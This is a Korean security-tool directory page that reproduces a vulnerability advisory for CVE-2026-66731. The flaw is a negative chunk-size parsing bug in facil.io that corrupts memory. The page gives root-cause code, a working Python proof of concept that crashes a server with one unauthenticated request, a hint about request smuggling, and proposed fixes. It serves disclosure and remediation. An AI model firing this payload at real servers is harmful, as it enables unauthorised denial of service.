Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash — CVE-2026-66731에 대한 보안 권고: 근본 원인 분석, PoC 익스플로잇, 그리고 facil.io HTTP/1.1 청크 인코딩 파서 버그에 대한 수정 제안을 포함합니다. | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
Static AnalysisVulnerability AnalysisCode AnalysisWeb Security
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

CVE-2026-66731에 대한 보안 권고: 근본 원인 분석, PoC 익스플로잇, 그리고 facil.io HTTP/1.1 청크 인코딩 파서 버그에 대한 수정 제안을 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
23일 전아직 검토되지 않음

보안 권고: facil.io의 음수 청크 크기 파싱으로 인한 메모리 손상

배정된 CVE ID: CVE-2026-66731

제품: facil.io
영향받는 버전: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); 0.7.5에서 0.8.x HTTP/1.1 파서가 백포트되면서 도입됨 - 0.6.x 또는 0.7.0–0.7.3에는 존재하지 않음 구성 요소: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Improper Input Validation), CWE-682 (Incorrect Calculation), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
연구자: Theodosis Paidakis


요약

청크 전송 인코딩 파서는 청크 크기 값 앞의 마이너스 기호를 허용합니다. http1_atol16은 -FFFFFF 같은 입력에 대해 음수 long long을 반환합니다. 파서는 "청크 내부"를 나타내는 센티널로 content_length에 0 - chunk_len을 저장합니다. chunk_len이 음수이면 이 뺄셈은 큰 양수 값을 생성하여 상태 머신을 손상시킵니다. 이후 포인터 계산은 읽기 포인터를 입력 버퍼보다 수백만 바이트 앞, 매핑되지 않은 메모리로 이동시켜 프로세스를 충돌시킵니다. 인증되지 않은 POST 요청 한 번으로 충분합니다.


근본 원인

1단계: http1_atol16이 선행 마이너스 기호를 허용합니다

lib/facil/http/parsers/http1_parser.h, 316-346행

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

입력 -FFFFFF\r\n은 chunk_len = -16777215LL을 생성합니다. RFC 7230 섹션 4.1은 청크 크기를 음수가 아닌 16진수 정수로 규정합니다. 선행 마이너스는 유효하지 않습니다.

2단계: 상태 머신 손상

lib/facil/http/parsers/http1_parser.h, 681-690행

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

파서는 "현재 청크 본문을 읽는 중"을 의미하는 센티널로 음수 content_length를 사용합니다. content_length가 +16777215로 양수이면 상태 머신은 16MB의 일반(비청크) 본문을 읽고 있다고 판단합니다.

3단계: 포인터가 매핑되지 않은 메모리로 역방향 이동

다음 반복에서 파서는 다음을 계산합니다:

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

해당 주소에서의 읽기는 폴트를 발생시킵니다.


개념 증명

서버를 시작한 후 다음을 실행합니다:

root@kitploit:~
# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

ASAN 출력(확인됨):

root@kitploit:~
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

전송된 청크 크기별 영향:

참고: -0의 경우(0 - 0 = 0)는 "청크 본문 완료" 분기에 해당하여 서버는 생존하지만, 서버는 이후에 오는 데이터와 무관하게 요청을 빈 본문으로 수락합니다. 이는 프런트 엔드가 청크 인코딩을 다르게 파싱하는 프록시 배포 환경에서 요청 스머글링 프리미티브로 작동할 수 있습니다.


영향

음수 청크 크기를 가진 인증되지 않은 Transfer-Encoding: chunked 요청 한 번으로 서버가 충돌합니다. HTTP/1.1을 수락하는 모든 애플리케이션이 영향을 받습니다. 청크 인코딩은 핵심 프로토콜 기능이며 애플리케이션 수준 구성이 필요하지 않습니다.


수정

두 접근 방식 모두 충분합니다. 수정 1을 권장합니다.

수정 1: http1_atol16에서 선행 마이너스를 거부

lib/facil/http/parsers/http1_parser.h, 322행

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

수정 2: 사용 전에 chunk_len 검증

lib/facil/http/parsers/http1_parser.h, 681행

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

이전 보안 수정 사항과의 관계

커밋 53caca31("Fix atol16 to fix chunked length calculation", 2019년 12월)은 오버플로 감지 루프 조건을 수정했지만 부호 처리 코드는 유지했습니다. 커밋 fe847cdf("fix HTTP/1.1 parser against smuggling attack", 2020년 5월)는 TE/CL 충돌(Transfer-Encoding과 Content-Length가 모두 존재하는 경우)을 해결했습니다. 둘 다 음수 청크 크기를 다루지 않습니다.

도구 다운로드
청크 크기손상 후 content_length결과
-00본문이 조용히 건너뛰어짐; 서버는 생존
-1+1포인터가 시작 지점보다 1바이트 앞
-FFFFFF+16777215포인터가 시작 지점보다 16MB 앞; 충돌
-7FFFFFFF+2147483647포인터가 시작 지점보다 2GB 앞; 충돌